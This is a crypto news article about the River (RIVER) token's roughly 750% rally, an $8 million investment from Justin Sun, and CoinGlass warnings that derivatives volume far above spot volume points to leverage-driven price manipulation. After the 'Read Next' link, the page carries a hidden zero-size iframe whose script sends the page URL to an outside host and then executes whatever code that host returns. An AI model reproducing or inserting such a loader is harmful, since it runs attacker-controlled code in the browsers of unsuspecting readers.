River

Wednesday

DeFi

Read

Gains

River <a href="https://yellow.com/asset/river">(RIVER)</a> surged to a record high of $48.56 during early Asian trading on Wednesday, capping a rally of nearly 750% over the past month, though <a href="https://yellow.com/news/crypto-derivatives-hit-dollar86t-in-2025-as-binance-dominates-30-of-global-volume">derivatives data showing futures volume</a> exceeding spot trading by more than 80 times has prompted warnings from analysts about potential price manipulation.
<h2 id="what-happened-token-surges-amid-8m-investment">What Happened: Token Surges Amid $8M Investment</h2>
The DeFi protocol's native token <a href="https://beincrypto.com/river-token-all-time-high-derivatives-warning/">appreciated</a> 24.2% in the past 24 hours, far outpacing the broader market's roughly 1% gain. At press time, RIVER was trading at $46.68.
River operates a chain-abstraction stablecoin system that allows users to deploy collateral on one blockchain and access liquidity on another without bridges or wrapped assets.
<blockquote>
 Its core product is satUSD, an overcollateralized stablecoin.
</blockquote>
The protocol <a href="https://x.com/RiverdotInc/status/2013957517873946649">announced</a> Wednesday it had secured an $8 million strategic investment from Justin Sun.
"This investment supports ecosystem integration on @trondao and the deployment of River's chain abstraction stablecoin infrastructure," the team wrote in a statement.
Also Read: <a href="https://yellow.com/news/ethereum-reserves-hit-10-year-low-across-exchanges-as-price-falls-below-dollar3k">Ethereum Reserves Hit 10-Year Low Across Exchanges As Price Falls Below $3K</a>
<h2 id="why-it-matters-leverage-concerns-mount">Why It Matters: Leverage Concerns Mount</h2>
CoinGlass <a href="https://x.com/coinglass_com/status/2013852661507100854">flagged</a> what it called an extreme imbalance in RIVER's market structure. The analytics platform noted that futures volume trading at more than 80 times spot volume means price is "constructed through leverage, driven by intentionally deployed volatility and repeated liquidation cycles."
<blockquote>
 "Best advice: don't participate," the firm wrote. "This is how retail gets harvested."
</blockquote>
CoinGlass explained that by keeping prices suppressed while pushing funding rates deeply negative, markets can become crowded with short positions. A controlled upward move then triggers liquidations and forced short covering, leading to sharp rallies.
"This process can repeat multiple times: manufacture extreme funding, attract consensus positioning, force liquidation, reset," the firm stated. "It's price engineering, not price discovery."
Analyst Crypto Tony predicted RIVER could face a decline similar to that of Aurelia <a href="https://yellow.com/asset/beat">(BEAT)</a>.
Read Next: <a href="https://yellow.com/news/2026-will-see-brutal-pruning-across-crypto-pantera-warns">2026 Will See Brutal Pruning Across Crypto, Pantera Warns</a><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Why Analysts Are Warning Retail Traders To Avoid River Despite 750% Gains

Table of Contents

Yellow News

Other articles published on Jan 22, 2026

Vitalik Buterin Says Decentralized Social Is How Ethereum Outlives Its Creators

Can HBAR Hit $1? What It Would Take

JasmyChain Completes Mainnet Migration And Enters Production

What to Expect from Bee Network in 2026

Kaisar Network Explained: Earn From Your Idle Hardware

BNB Chain Launches $650k Trenching Season Across Five Trading Platforms

Join our free newsletter for daily crypto updates!